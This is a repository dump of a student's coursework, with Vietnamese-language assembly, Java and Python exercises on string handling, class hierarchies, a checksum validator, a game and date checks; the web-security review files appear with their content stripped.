https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/atwlab5.pdf -------------------------------------------------------------------------------- /CongNgheWebAnToan/ontap/adduser.txt: -------------------------------------------------------------------------------- 1 | 4 | 5 |
    6 | 7 | 8 | 9 |
    10 | 11 | 25 | 26 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/ontap/changePw.txt: -------------------------------------------------------------------------------- 1 | 4 | 5 |
    6 | 7 | 8 | 9 |
    10 | 11 | 32 | 33 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/ontap/edituser.txt: -------------------------------------------------------------------------------- 1 | 4 | 5 |
    6 | 7 | 8 | 9 |
    10 | 11 | 33 | 34 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/ontap/login.txt: -------------------------------------------------------------------------------- 1 | 4 | 5 |
    6 | 7 | 8 | 9 |
    10 | 11 | 25 | 26 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/ontap/register.txt: -------------------------------------------------------------------------------- 1 | 4 | 5 |
    6 | 7 | 8 | 9 |
    10 | 11 | 26 | 27 | -------------------------------------------------------------------------------- /HopNgu/BaiTap/bai1.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100h 3 | .data 4 | strNhap db "Hay nhap ki tu bat ki: $" 5 | strKq db 13, 10, "Ki tu nhan duoc la: $" 6 | kitu db ? 7 | .code 8 | main proc 9 | mov ax, @data 10 | mov ds, ax 11 | 12 | lea dx, strNhap 13 | mov ah, 9 14 | int 21h 15 | 16 | mov ah, 1 17 | int 21h 18 | 19 | mov kitu, al 20 | 21 | mov ah, 9 22 | lea dx, strKq 23 | int 21h 24 | 25 | mov dl, kitu 26 | mov ah, 2 27 | int 21h 28 | 29 | mov ah, 4CH 30 | int 21h 31 | main endp 32 | end -------------------------------------------------------------------------------- /HopNgu/BaiTap/bai17.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100 3 | .data 4 | tbNhap db "Nhap chuoi bat ki: $" 5 | tbKQ db 13, 10, "Chuoi dao nguoc la: $" 6 | str db 100 dup("$") 7 | 8 | .code 9 | main proc 10 | mov ax, @data 11 | mov ds, ax 12 | 13 | mov ah, 9 14 | lea dx, tbNhap 15 | int 21h 16 | 17 | mov ah, 10 18 | lea dx, str 19 | int 21h 20 | 21 | mov cx, 0 22 | mov cl, [str + 1] 23 | lea si, [str + 2] 24 | pushNganXep: 25 | mov dx, 0 26 | mov dx, [si] 27 | push dx 28 | inc si 29 | loop pushNganXep 30 | 31 | mov ah, 9 32 | lea dx, tbKQ 33 | int 21h 34 | 35 | mov cx, 0 36 | mov cl, [str + 1] 37 | hienthi: 38 | pop dx 39 | mov ah, 2 40 | int 21h 41 | loop hienthi 42 | 43 | mov ah, 4ch 44 | int 21h 45 | main endp 46 | end 47 | -------------------------------------------------------------------------------- /HopNgu/BaiTap/bai2.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100h 3 | .data 4 | strNhap db "Hay nhap ki tu bat ki: $" 5 | strKq db 13, 10, "Ki tu nhan duoc la: $" 6 | .code 7 | main proc 8 | mov ax, @data 9 | mov ds, ax 10 | 11 | lea dx, strNhap 12 | mov ah, 9 13 | int 21h 14 | 15 | mov ah, 1 16 | int 21h 17 | 18 | mov bl, al 19 | 20 | mov ah, 9 21 | lea dx, strKq 22 | int 21h 23 | 24 | mov dl, bl 25 | mov ah, 2 26 | int 21h 27 | 28 | mov ah, 4CH 29 | int 21h 30 | main endp 31 | end -------------------------------------------------------------------------------- /HopNgu/BaiTap/bai3.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100h 3 | .data 4 | strNhap db "Hay nhap ki tu bat ki: $" 5 | strKq1 db 13, 10, "Ki tu ke truoc la: $" 6 | strKq2 db 13, 10, "Ki tu ke sau la: $" 7 | kitu db ? 8 | .code 9 | main proc 10 | mov ax, @data 11 | mov ds, ax 12 | 13 | lea dx, strNhap 14 | mov ah, 9 15 | int 21h 16 | 17 | mov ah, 1 18 | int 21h 19 | 20 | mov kitu, al 21 | 22 | mov ah, 9 23 | lea dx, strKq1 24 | int 21h 25 | 26 | mov dl, kitu 27 | sub dl, 1 28 | mov ah, 2 29 | int 21h 30 | 31 | mov ah, 9 32 | lea dx, strKq2 33 | int 21h 34 | 35 | mov dl, kitu 36 | add dl, 1 37 | mov ah, 2 38 | int 21h 39 | 40 | mov ah, 4CH 41 | int 21h 42 | main endp 43 | end -------------------------------------------------------------------------------- /HopNgu/BaiTap/bai4.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100h 3 | .data 4 | strNhap db "Nhap vao ten cua ban: $" 5 | strChao db 13, 10, "Xin chao $" 6 | str db 100 dup("$") 7 | .code 8 | main proc 9 | mov ax, @data 10 | mov ds, ax 11 | 12 | lea dx, strNhap 13 | mov ah, 9 14 | int 21h 15 | 16 | lea dx, str 17 | mov ah, 10 18 | int 21h 19 | 20 | mov ah, 9 21 | lea dx, strChao, 22 | int 21h 23 | lea dx, str + 2 24 | int 21h 25 | 26 | mov ah, 4CH 27 | int 21h 28 | main endp 29 | end -------------------------------------------------------------------------------- /HopNgu/BaiTap/bai6.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100h 3 | .data 4 | strNhap db 13, 10, "Nhap 1 ki tu thuong bat ki: $" 5 | strKQ db 13, 10, "Ket qua: $" 6 | .code 7 | mov ax, @data 8 | mov ds, ax 9 | 10 | mov ah, 9 11 | lea dx, strNhap 12 | int 21h 13 | 14 | mov ah, 1 15 | int 21h ;al 16 | mov cx, 0 17 | mov cl, "z" 18 | sub cl, al 19 | add cl, 1 20 | 21 | mov bl, al 22 | 23 | mov ah, 9 24 | lea dx, strKQ 25 | int 21h 26 | 27 | mov dx, 0 28 | mov dl, bl 29 | lap: 30 | mov dl, bl 31 | mov ah, 2 32 | int 21h 33 | mov dl, " " 34 | int 21h 35 | inc bl 36 | 37 | loop lap 38 | mov ah, 4CH 39 | int 21h 40 | end 41 | -------------------------------------------------------------------------------- /HopNgu/BaiTap/bai7.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100h 3 | .data 4 | strNhap db 13, 10, "Hay nhap 1 chuoi bat ki $" 5 | strKetQua db 13, 10, "Do dai cua chuoi la: $" 6 | .code 7 | main proc 8 | mov ax, @data 9 | mov ds, ax 10 | 11 | mov ah, 9 12 | lea dx, strNhap 13 | int 21h 14 | mov bx, 0 15 | 16 | nhap1kitu: 17 | mov ah, 1 18 | int 21h 19 | cmp al, 13 20 | je inketqua 21 | inc bx 22 | jmp nhap1kitu 23 | 24 | 25 | inketqua: 26 | mov ah, 9 27 | lea dx, strKetQua 28 | int 21h 29 | 30 | 31 | 32 | mov ah, 4CH 33 | int 21h 34 | main endp 35 | end -------------------------------------------------------------------------------- /HopNgu/DeBaiGiuaKy.txt: -------------------------------------------------------------------------------- 1 | 1. 2 | 1.1 - 1.4 Nhập vào mã sinh viên và hiển thị đúng MSV 3 | Màn hình hiển thị: Hãy nhập vào mã sv: (Nhập AT160419) 4 | Mã Sinh Viên là: AT160419 5 | 1.5 - 1.8: Nhap tên sinh viên và hiển thị 6 | 2. 7 | 2.1 (Đề 1) Đảo ngược mã sinh viên: VD 914061AT 8 | 2.2 Đổi 3 số cuối MSV ra hệ cơ số 2, 16 bit 9 | 2.3 Đổi 3 số cuối MSV ra hệ cơ số 16, 16 bit 10 | 2.4 Đổi chư AT thành chữ in thường at 11 | 2.5 Nhập họ tên và đảo ngược họ tên 12 | 2.6 Thêm dấu cách vào giữa các chữ cái MSV 13 | 2.7 Đổi các chữ cái sang in Hoa 14 | 2.8 Đổi các chữ cái in thường 15 | 16 | -------------------------------------------------------------------------------- /HopNgu/DeCuongOnTapv1/Dung35starPublicCode.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/HopNgu/DeCuongOnTapv1/Dung35starPublicCode.txt -------------------------------------------------------------------------------- /HopNgu/GiuaKy/de1.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100 3 | .data 4 | str db 100 dup("$") 5 | tbNhap db "Hay nhap vao ma sv: $" 6 | tbKQ db 13, 10, "Ma sinh vien la: $" 7 | tbDaoNguoc db 13, 10, "Ma sinh vien dao nguoc la: $" 8 | .code 9 | main proc 10 | mov ax, @data 11 | mov ds, ax 12 | 13 | mov ah, 9 14 | lea dx, tbNhap 15 | int 21h 16 | 17 | mov ah, 10 18 | lea dx, str 19 | int 21h 20 | 21 | mov ah, 9 22 | lea dx, tbKQ 23 | int 21h 24 | lea dx, [str + 2] 25 | int 21h 26 | lea dx, tbDaoNguoc 27 | int 21h 28 | 29 | mov cx, 0 30 | mov cl, [str + 1] 31 | lea si, [str + 2] 32 | 33 | loop1: 34 | push [si] 35 | inc si 36 | loop loop1 37 | 38 | mov cx, 0 39 | mov cl, [str + 1] 40 | mov ah, 2 41 | 42 | loop2: 43 | pop dx 44 | int 21h 45 | loop loop2 46 | 47 | 48 | 49 | mov ah, 4ch 50 | int 21h 51 | main endp 52 | end -------------------------------------------------------------------------------- /HopNgu/GiuaKy/de4.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100 3 | .data 4 | str db 100 dup("$") 5 | tbNhap db "Hay nhap vao ma sv: $" 6 | tbKQ db 13, 10, "Ma sinh vien la: $" 7 | tbInThuong db 13, 10, "MSV sau khi doi la: $" 8 | .code 9 | main proc 10 | mov ax, @data 11 | mov ds, ax 12 | 13 | mov ah, 9 14 | lea dx, tbNhap 15 | int 21h 16 | 17 | mov ah, 10 18 | lea dx, str 19 | int 21h 20 | 21 | mov ah, 9 22 | lea dx, tbKQ 23 | int 21h 24 | lea dx, [str + 2] 25 | int 21h 26 | lea dx, tbInThuong 27 | int 21h 28 | 29 | mov cx, 0 30 | mov cl, 2 31 | lea si, [str + 2] 32 | 33 | loop1: 34 | cmp [si], "A" 35 | jl next 36 | cmp [si], "Z" 37 | ja next 38 | mov dx, [si] 39 | add dl, 32 40 | mov ah, 2 41 | int 21h 42 | next: 43 | inc si 44 | loop loop1 45 | 46 | mov ah, 9 47 | lea dx, si 48 | int 21h 49 | 50 | 51 | mov ah, 4ch 52 | int 21h 53 | main endp 54 | end -------------------------------------------------------------------------------- /HopNgu/GiuaKy/de5.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100 3 | .data 4 | str db 100 dup("$") 5 | tbNhap db 13, 10, "Hay nhap ho va ten sv: $" 6 | tbKQ db 13, 10, "Ten sinh vien la: $" 7 | tbDaoNguoc db 13, 10, "Ten sinh vien dao nguoc la: $" 8 | .code 9 | main proc 10 | mov ax, @data 11 | mov ds, ax 12 | 13 | mov ah, 9 14 | lea dx, tbNhap 15 | int 21h 16 | 17 | mov ah, 10 18 | lea dx, str 19 | int 21h 20 | 21 | mov ah, 9 22 | lea dx, tbKQ 23 | int 21h 24 | lea dx, [str + 2] 25 | int 21h 26 | lea dx, tbDaoNguoc 27 | int 21h 28 | 29 | mov cx, 0 30 | mov cl, [str + 1] 31 | lea si, [str + 2] 32 | 33 | loop1: 34 | push [si] 35 | inc si 36 | loop loop1 37 | 38 | mov cx, 0 39 | mov cl, [str + 1] 40 | mov ah, 2 41 | 42 | loop2: 43 | pop dx 44 | int 21h 45 | loop loop2 46 | 47 | mov ah, 4ch 48 | int 21h 49 | main endp 50 | end -------------------------------------------------------------------------------- /HopNgu/GiuaKy/de6.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100 3 | .data 4 | str db 100 dup("$") 5 | tbNhap db "Hay nhap vao ten sv: $" 6 | tbKQ db 13, 10, "Ten sinh vien la: $" 7 | tbTenSpace db 13, 10, "Ket qua ten sv khoang cach la: $" 8 | .code 9 | main proc 10 | mov ax, @data 11 | mov ds, ax 12 | 13 | mov ah, 9 14 | lea dx, tbNhap 15 | int 21h 16 | 17 | mov ah, 10 18 | lea dx, str 19 | int 21h 20 | 21 | mov ah, 9 22 | lea dx, tbKQ 23 | int 21h 24 | lea dx, [str + 2] 25 | int 21h 26 | lea dx, tbTenSpace 27 | int 21h 28 | 29 | mov cx, 0 30 | mov cl, [str + 1] 31 | lea si, [str + 2] 32 | mov ah, 2 33 | loop1: 34 | mov dx, [si] 35 | int 21h 36 | mov dl, " " 37 | int 21h 38 | inc si 39 | loop loop1 40 | 41 | 42 | mov ah, 4ch 43 | int 21h 44 | main endp 45 | end -------------------------------------------------------------------------------- /HopNgu/GiuaKy/de7.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100 3 | .data 4 | str db 100 dup("$") 5 | tbNhap db "Hay nhap vao ten sv: $" 6 | tbKQ db 13, 10, "Ten sinh vien la: $" 7 | tbKQChuoi db 13, 10, "Ten sv sau khi in thuong la: $" 8 | .code 9 | main proc 10 | mov ax, @data 11 | mov ds, ax 12 | 13 | mov ah, 9 14 | lea dx, tbNhap 15 | int 21h 16 | 17 | mov ah, 10 18 | lea dx, str 19 | int 21h 20 | 21 | mov ah, 9 22 | lea dx, tbKQ 23 | int 21h 24 | lea dx, [str + 2] 25 | int 21h 26 | lea dx, tbKQChuoi 27 | int 21h 28 | 29 | mov cx, 0 30 | mov cl, [str + 1] 31 | lea si, [str + 2] 32 | mov ah, 2 33 | loop1: 34 | mov dx, [si] 35 | cmp [si], "A" 36 | jl next 37 | cmp [si], "Z" 38 | ja next 39 | add dl, 32 40 | next: 41 | int 21h 42 | inc si 43 | loop loop1 44 | 45 | mov ah, 4ch 46 | int 21h 47 | main endp 48 | end -------------------------------------------------------------------------------- /HopNgu/GiuaKy/de8.asm: -------------------------------------------------------------------------------- 1 | .model small 2 | .stack 100 3 | .data 4 | str db 100 dup("$") 5 | tbNhap db "Hay nhap vao ten sv: $" 6 | tbKQ db 13, 10, "Ten sinh vien la: $" 7 | tbKQChuoi db 13, 10, "Ten sv sau khi in hoa la: $" 8 | .code 9 | main proc 10 | mov ax, @data 11 | mov ds, ax 12 | 13 | mov ah, 9 14 | lea dx, tbNhap 15 | int 21h 16 | 17 | mov ah, 10 18 | lea dx, str 19 | int 21h 20 | 21 | mov ah, 9 22 | lea dx, tbKQ 23 | int 21h 24 | lea dx, [str + 2] 25 | int 21h 26 | lea dx, tbKQChuoi 27 | int 21h 28 | 29 | mov cx, 0 30 | mov cl, [str + 1] 31 | lea si, [str + 2] 32 | mov ah, 2 33 | loop1: 34 | mov dx, [si] 35 | cmp [si], "a" 36 | jl next 37 | cmp [si], "z" 38 | ja next 39 | sub dl, 32 40 | next: 41 | int 21h 42 | inc si 43 | loop loop1 44 | 45 | mov ah, 4ch 46 | int 21h 47 | main endp 48 | end -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/manifest.mf: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | X-COMMENT: Main-Class will be added automatically by build 3 | 4 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de01CuoiKi/Person.java: -------------------------------------------------------------------------------- 1 | package de01CuoiKi; 2 | 3 | public class Person { 4 | protected String hoTen; 5 | protected String ngaySinh; 6 | protected String diaChi; 7 | protected String gioiTinh; 8 | 9 | public Person(String hoTen, String ngaySinh, String diaChi, String gioiTinh) { 10 | this.hoTen = hoTen; 11 | this.ngaySinh = ngaySinh; 12 | this.diaChi = diaChi; 13 | this.gioiTinh = gioiTinh; 14 | } 15 | 16 | public Person() { 17 | } 18 | 19 | @Override 20 | public String toString() { 21 | return "Ho ten: " + hoTen + ", Ngay sinh: " + ngaySinh + ", Dia chi: " + diaChi + "Gioi tinh: " + gioiTinh; 22 | } 23 | 24 | 25 | } 26 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de01CuoiKi/Student.java: -------------------------------------------------------------------------------- 1 | package de01CuoiKi; 2 | 3 | public class Student extends Person { 4 | protected String maSV; 5 | protected String email; 6 | protected float diemTK; 7 | 8 | public Student(String maSV, String email, float diemTK, String hoTen, String ngaySinh, String diaChi, String gioiTinh) { 9 | super(hoTen, ngaySinh, diaChi, gioiTinh); 10 | this.maSV = maSV; 11 | this.email = email; 12 | this.diemTK = diemTK; 13 | } 14 | 15 | public Student() { 16 | } 17 | 18 | @Override 19 | public String toString() { 20 | return super.toString() + "MaSV: " + maSV + ", Email: " + email + ", DiemTK: " + diemTK; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de02CuoiKi/NhanVien.java: -------------------------------------------------------------------------------- 1 | package de02CuoiKi; 2 | 3 | public class NhanVien extends Person { 4 | protected String phongBan; 5 | protected float heSoLuong; 6 | protected int thamNien; 7 | protected float luongCoBan; 8 | 9 | public NhanVien(String hoTen, String ngaySinh, String diaChi, String gioiTinh, String phongBan, float hsl, int thamNien, float luongCoBan) { 10 | super(hoTen, ngaySinh, diaChi, gioiTinh); 11 | this.phongBan = phongBan; 12 | this.heSoLuong = heSoLuong; 13 | this.thamNien = thamNien; 14 | this.luongCoBan = luongCoBan; 15 | } 16 | 17 | public NhanVien() { 18 | } 19 | 20 | 21 | 22 | public float tinhLuongThucLinh() { 23 | return luongCoBan * heSoLuong * (1 + (float)thamNien/100); 24 | } 25 | 26 | @Override 27 | public String toString() { 28 | return super.toString() + ", Phong Ban: " + phongBan + ", He So Luong: " + heSoLuong + ", Tham Nien: " + thamNien + ", Luong Co Ban: " + luongCoBan; 29 | } 30 | 31 | 32 | } 33 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de02CuoiKi/Person.java: -------------------------------------------------------------------------------- 1 | package de02CuoiKi; 2 | 3 | public class Person { 4 | protected String hoTen; 5 | protected String ngaySinh; 6 | protected String diaChi; 7 | protected String gioiTinh; 8 | 9 | public Person(String hoTen, String ngaySinh, String diaChi, String gioiTinh) { 10 | this.hoTen = hoTen; 11 | this.ngaySinh = ngaySinh; 12 | this.diaChi = diaChi; 13 | this.gioiTinh = gioiTinh; 14 | } 15 | 16 | public Person() { 17 | } 18 | 19 | @Override 20 | public String toString() { 21 | return "Ho ten: " + hoTen + ", Ngay sinh: " + ngaySinh + ", Dia chi: " + diaChi + "Gioi tinh: " + gioiTinh; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de03CuoiKi/SinhVien.java: -------------------------------------------------------------------------------- 1 | package de03CuoiKi; 2 | 3 | public class SinhVien { 4 | protected String maSV; 5 | protected String hoTen; 6 | protected String ngaySinh; 7 | protected String gioiTinh; 8 | protected float diemTb; 9 | 10 | public SinhVien(String maSV, String hoTen, String ngaySinh, String gioiTinh, float diemTb) { 11 | this.maSV = maSV; 12 | this.hoTen = hoTen; 13 | this.ngaySinh = ngaySinh; 14 | this.gioiTinh = gioiTinh; 15 | this.diemTb = diemTb; 16 | } 17 | 18 | public SinhVien() { 19 | } 20 | 21 | @Override 22 | public String toString() { 23 | return "MaSV: " + maSV + ", Ho Ten: " + hoTen + ", Ngay Sinh: " + ngaySinh + ", Gioi Tinh: " + gioiTinh + ", DiemTb: " + diemTb; 24 | } 25 | 26 | 27 | } 28 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de03CuoiKi/SinhVienATTT.java: -------------------------------------------------------------------------------- 1 | package de03CuoiKi; 2 | 3 | public class SinhVienATTT extends SinhVien { 4 | protected float hocPhi; 5 | 6 | public SinhVienATTT(float hocPhi, String maSV, String hoTen, String ngaySinh, String gioiTinh, float diemTb) { 7 | super(maSV, hoTen, ngaySinh, gioiTinh, diemTb); 8 | this.hocPhi = hocPhi; 9 | } 10 | 11 | public SinhVienATTT() { 12 | } 13 | 14 | @Override 15 | public String toString() { 16 | return super.toString() + ", Hoc Phi: " + hocPhi; 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de03CuoiKi/SinhVienMatMa.java: -------------------------------------------------------------------------------- 1 | package de03CuoiKi; 2 | 3 | public class SinhVienMatMa extends SinhVien { 4 | protected String donVi; 5 | protected float luong; 6 | 7 | public SinhVienMatMa(String donVi, float luong, String maSV, String hoTen, String ngaySinh, String gioiTinh, float diemTb) { 8 | super(maSV, hoTen, ngaySinh, gioiTinh, diemTb); 9 | this.donVi = donVi; 10 | this.luong = luong; 11 | } 12 | 13 | public SinhVienMatMa() { 14 | } 15 | 16 | @Override 17 | public String toString() { 18 | return super.toString() + ", DonVi: " + donVi + ", Luong: " + luong; 19 | } 20 | 21 | 22 | } 23 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de04CuoiKi/Dictionary.java: -------------------------------------------------------------------------------- 1 | package de04CuoiKi; 2 | 3 | import java.util.ArrayList; 4 | 5 | public class Dictionary { 6 | static ArrayList di = new ArrayList<>(); 7 | static { 8 | di.add(new Word("time", "thời gian")); 9 | di.add(new Word("year", "năm")); 10 | di.add(new Word("people", "con người")); 11 | di.add(new Word("way", "con đường")); 12 | di.add(new Word("day", "ngày")); 13 | di.add(new Word("man", "đàn ông")); 14 | di.add(new Word("thing", "sự vật")); 15 | di.add(new Word("group", "nhóm")); 16 | di.add(new Word("hand", "bàn tay")); 17 | di.add(new Word("home", "nhà")); 18 | } 19 | 20 | } 21 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de04CuoiKi/Word.java: -------------------------------------------------------------------------------- 1 | package de04CuoiKi; 2 | 3 | public class Word { 4 | static int ids = 1; 5 | private int id; 6 | private String en; 7 | private String vn; 8 | 9 | public Word(String en, String vn) { 10 | this.id = ids++; 11 | this.en = en; 12 | this.vn = vn; 13 | } 14 | 15 | public Word() { 16 | this.id = ids++; 17 | } 18 | 19 | public int getId() { 20 | return id; 21 | } 22 | 23 | public void setId(int id) { 24 | this.id = id; 25 | } 26 | 27 | public String getEn() { 28 | return en; 29 | } 30 | 31 | public void setEn(String en) { 32 | this.en = en; 33 | } 34 | 35 | public String getVn() { 36 | return vn; 37 | } 38 | 39 | public void setVn(String vn) { 40 | this.vn = vn; 41 | } 42 | 43 | @Override 44 | public String toString() { 45 | return "Word{" + "id=" + id + ", en=" + en + ", vn=" + vn + '}'; 46 | } 47 | 48 | 49 | 50 | } 51 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de06CuoiKi/Book.java: -------------------------------------------------------------------------------- 1 | package de06CuoiKi; 2 | 3 | public class Book { 4 | private int id; 5 | private String authors; 6 | private String title; 7 | Category category; 8 | 9 | public Book(int id, String authors, String title, Category category) { 10 | this.id = id; 11 | this.authors = authors; 12 | this.title = title; 13 | this.category = category; 14 | } 15 | 16 | public Book() { 17 | } 18 | 19 | public int getId() { 20 | return id; 21 | } 22 | 23 | public void setId(int id) { 24 | this.id = id; 25 | } 26 | 27 | public String getAuthors() { 28 | return authors; 29 | } 30 | 31 | public void setAuthors(String authors) { 32 | this.authors = authors; 33 | } 34 | 35 | public String getTitle() { 36 | return title; 37 | } 38 | 39 | public void setTitle(String title) { 40 | this.title = title; 41 | } 42 | 43 | public Category getCategory() { 44 | return category; 45 | } 46 | 47 | public void setCategory(Category category) { 48 | this.category = category; 49 | } 50 | 51 | @Override 52 | public String toString() { 53 | return "Id: " + id + ", Authors: " + authors + ", Title: " + title + ", Category: " + category.getType(); 54 | } 55 | 56 | 57 | 58 | } 59 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de06CuoiKi/Category.java: -------------------------------------------------------------------------------- 1 | package de06CuoiKi; 2 | 3 | public class Category { 4 | private int id; 5 | private String type; 6 | 7 | public Category(int id, String type) { 8 | this.id = id; 9 | this.type = type; 10 | } 11 | 12 | public Category() { 13 | } 14 | 15 | public int getId() { 16 | return id; 17 | } 18 | 19 | public void setId(int id) { 20 | this.id = id; 21 | } 22 | 23 | public String getType() { 24 | return type; 25 | } 26 | 27 | public void setType(String type) { 28 | this.type = type; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/de07CuoiKi/NhanVien.java: -------------------------------------------------------------------------------- 1 | package de07CuoiKi; 2 | 3 | public class NhanVien { 4 | protected int id; 5 | protected String hoTen; 6 | 7 | public NhanVien(String hoTen) { 8 | this.hoTen = hoTen; 9 | } 10 | 11 | public int getId() { 12 | return id; 13 | } 14 | 15 | public void setId(int id) { 16 | this.id = id; 17 | } 18 | 19 | public String getHoTen() { 20 | return hoTen; 21 | } 22 | 23 | public void setHoTen(String hoTen) { 24 | this.hoTen = hoTen; 25 | } 26 | 27 | 28 | public NhanVien() { 29 | } 30 | 31 | @Override 32 | public String toString() { 33 | return "id: " + id + ", hoTen: " + hoTen; 34 | } 35 | 36 | 37 | } 38 | -------------------------------------------------------------------------------- /KiemTraCuoiKi7DeLTHDT/src/main.java: -------------------------------------------------------------------------------- 1 | /* 2 | * To change this license header, choose License Headers in Project Properties. 3 | * To change this template file, choose Tools | Templates 4 | * and open the template in the editor. 5 | */ 6 | 7 | /** 8 | * 9 | * @author Laptop88 10 | */ 11 | public class main { 12 | 13 | /** 14 | * @param args the command line arguments 15 | */ 16 | public static void main(String[] args) { 17 | // TODO code application logic here 18 | } 19 | 20 | } 21 | -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai1.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def main(): 4 | PI = 3.141593 5 | s = float(input("Nhap dien tich S: ")) 6 | r = math.sqrt(s / 4 / PI) 7 | v = (4 / 3) * PI * pow(r, 3) 8 | print(f"The tich V = {round(v, 6)}") 9 | 10 | if __name__ == "__main__": 11 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai10.py: -------------------------------------------------------------------------------- 1 | from functools import reduce 2 | from tabnanny import check 3 | 4 | def totalDigitsOfNumber(n): 5 | result = reduce( lambda x, y: int(x) + int(y) ,list(str(n)) ) 6 | return result 7 | 8 | 9 | def main(): 10 | while True: 11 | sin = input("SIN (0 de thoat): ") 12 | if(sin == "0"): 13 | break 14 | checkDigit = int( sin[len(sin) - 1] ) 15 | newSin = sin[:len(sin) - 1] 16 | s1 = reduce(lambda x, y: int(x) + int(y), list( newSin[0::2] )) 17 | listS2 = newSin[1::2] 18 | listS2 = list(map(lambda x: totalDigitsOfNumber(int(x) * 2) , listS2)) 19 | s2 = reduce(lambda x, y: int(x) + int(y), listS2) 20 | if((s1 + s2 + checkDigit) % 10 == 0): 21 | print("Sin hop le") 22 | else: 23 | print("Sin khong hop le") 24 | 25 | 26 | if __name__ == "__main__": 27 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai11.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def checkWin(myChoice, computerChoice): 4 | if(myChoice == "b"): 5 | if(computerChoice == "d"): 6 | return 1 7 | elif(computerChoice == "k"): 8 | return -1 9 | elif(myChoice == "d"): 10 | if(computerChoice == "k"): 11 | return 1 12 | elif(computerChoice == "b"): 13 | return -1 14 | else: 15 | if(computerChoice == "b"): 16 | return 1 17 | elif(computerChoice == "d"): 18 | return -1 19 | return 0 20 | 21 | 22 | def main(): 23 | listChoices = ["b", "d", "k"] 24 | choice = "b" 25 | myScore = 0 26 | comScore = 0 27 | while (choice == "b" or choice == "d" or choice == "k"): 28 | choice = input("Nhap ky tu (b-d-k), ky tu khac de thoat: ") 29 | computerChoice = random.choice(listChoices) 30 | print(f"Computer: {computerChoice}") 31 | if(checkWin(choice, computerChoice) == 1): 32 | myScore += 1 33 | elif(checkWin(choice, computerChoice) == -1): 34 | comScore += 1 35 | print(f"Ty so human - computer: {myScore} - {comScore}") 36 | 37 | 38 | if __name__ == "__main__": 39 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai12.py: -------------------------------------------------------------------------------- 1 | def main(): 2 | a1, b1, c1 = map(lambda x: float(x), input("Nhap a1, b1, c1: ").split()) 3 | a2, b2, c2 = map(lambda x: float(x), input("Nhap a2, b2, c2: ").split()) 4 | 5 | D = a1 * b2 - a2 * b1 6 | Dx = c1 * b2 - c2 * b1 7 | Dy = a1 * c2 - a2 * c1 8 | if (D == 0): 9 | if (Dx + Dy == 0): 10 | print("He phuong trinh co vo so nghiem") 11 | else: 12 | print("He phuong trinh vo nghiem") 13 | else: 14 | x = Dx / D 15 | y = Dy / D 16 | print(f"x = {x}") 17 | print(f"y = {y}") 18 | 19 | 20 | if __name__ == "__main__": 21 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai13.py: -------------------------------------------------------------------------------- 1 | def checkHopLe(d, m, y): 2 | if(y < 1582): 3 | return False 4 | if(m < 1 or m > 12): 5 | return False 6 | if(m == 4 or m == 6 or m == 9 or m == 11): 7 | dayOfMonth = 30 8 | elif(m == 2): 9 | dayOfMonth = 28 + int( ( y % 4 == 0 and y % 100 != 0 ) or y % 400 == 0) 10 | else: 11 | dayOfMonth = 31 12 | if(d < 1 or d > dayOfMonth): 13 | return False 14 | return True 15 | 16 | def main(): 17 | d, m, y = map(lambda x: int(x), input("Nhap ngay, thang va nam: ").split()) 18 | if(checkHopLe(d, m, y) == True): 19 | print("Hop le") 20 | a = (14 - m) // 12 21 | y = y - a 22 | m = m + 12 * a -2 23 | dayOfWeek = int(d + y + y//4 - y//100 + y//400 + (31*m)//12) % 7 24 | if(dayOfWeek == 0): 25 | print("Chu nhat") 26 | else: 27 | print(f"Thu {dayOfWeek + 1}") 28 | else: 29 | print("Khong hop le") 30 | 31 | 32 | if __name__ == "__main__": 33 | main() -------------------------------------------------------------------------------- /KyThuatLapTrinh/BaiTapChuong1/bai14.py: -------------------------------------------------------------------------------- 